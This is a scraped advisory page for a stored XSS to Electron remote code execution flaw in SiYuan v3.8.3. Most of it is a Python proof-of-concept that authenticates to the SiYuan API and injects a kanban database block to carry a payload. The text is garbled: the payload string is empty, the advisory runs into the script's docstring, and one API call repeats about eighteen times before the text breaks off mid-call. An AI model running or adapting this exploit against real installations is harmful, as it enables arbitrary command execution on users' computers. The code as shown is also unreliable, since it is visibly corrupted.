SiYuan v3.8.3 Stored XSS to Electron RCE Vulnerability Advisory and PoC

Vulnerability Summary Overview Vulnerability Type: Stored XSS leading to RCE (Remote Code Execution) in Electron desktop applications Description: SiYuan v3.8.3 contains a stored XSS vulnerability that allows attackers to inject malicious code via the Kanban database renderer. In the Electron desktop application, the XSS can exploit Node.js APIs to execute arbitrary commands on the user's computer. The kernel stores the payload but does not execute it. CVSS Score: 9.8 (Critical) Scope of Impact Affected Versions: >= 3.7.0, Electron RCE PoC. Usage: poc.py [--rce] [--poc-file PATH] --rce makes payload run alert(1337) in Electron and writes it on the desktop host """ import argparse import base64 import random import string import time from datetime import datetime import requests def sid(): return datetime.now().strftime("SY%Y%m%d%H%M%S") + "-" + \ "".join(random.choices(string.ascii_lowercase + string.digits, k=7)) def api(session, base, path, body=None, timeout=15): response = session.post(base + path, json=body, timeout=15) result = response.json() if result.get("code") != 0: raise RuntimeError(f"{path}: {result.get('msg') or result}") return result.get("data") def tx(session, base, operation, fields): return api(session, base, "/api/transactions", { "session": "poc", "type": "poc", "reqID": int(time.time() 1000), "transactions": [{"doOperation": {"operation": operation, **fields}}], }) def main(argv): base = argv.host if "://" in argv.host else "http://" + argv.host session = requests.Session() session.headers["Content-Type"] = "application/json" session.headers["Authorization"] = f"Token {argv.auth_code}" base = base.rstrip("/") box = api(session, base, "/api/notebook/createNotebook", {"name": "xss-poc-" + sid()}) doc = api(session, base, "/api/filetree/createDocInNote", { "notebook": box, "path": "poc", "markdown": "Column description PoC", }) av, node = sid(), sid() dom = ( f'' ) tx(session, base, "/api/filetree/createBlockInDoc", {"id": node, "parentID": doc, "data": dom}) time.sleep(1) data = api(session, base, "/api/notebook/createDatabaseView", {"id": av}) view_id = data["viewID"] api(session, base, "/api/notebook/createDatabaseView", { "viewID": av, "groupID": av, "app": "poc", "session": "poc", "previousID": "", }) data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView", { "blockID": node, "viewID": av, "layoutType": "kanban", }) view, view_id = data["view"], data["viewID"] data = api(session, base, "/api/notebook/createDatabaseView",

Goal Reached Thanks to every supporter — we hit 100%!

SiYuan v3.8.3 Stored XSS to Electron RCE Vulnerability Advisory and PoC

More from this source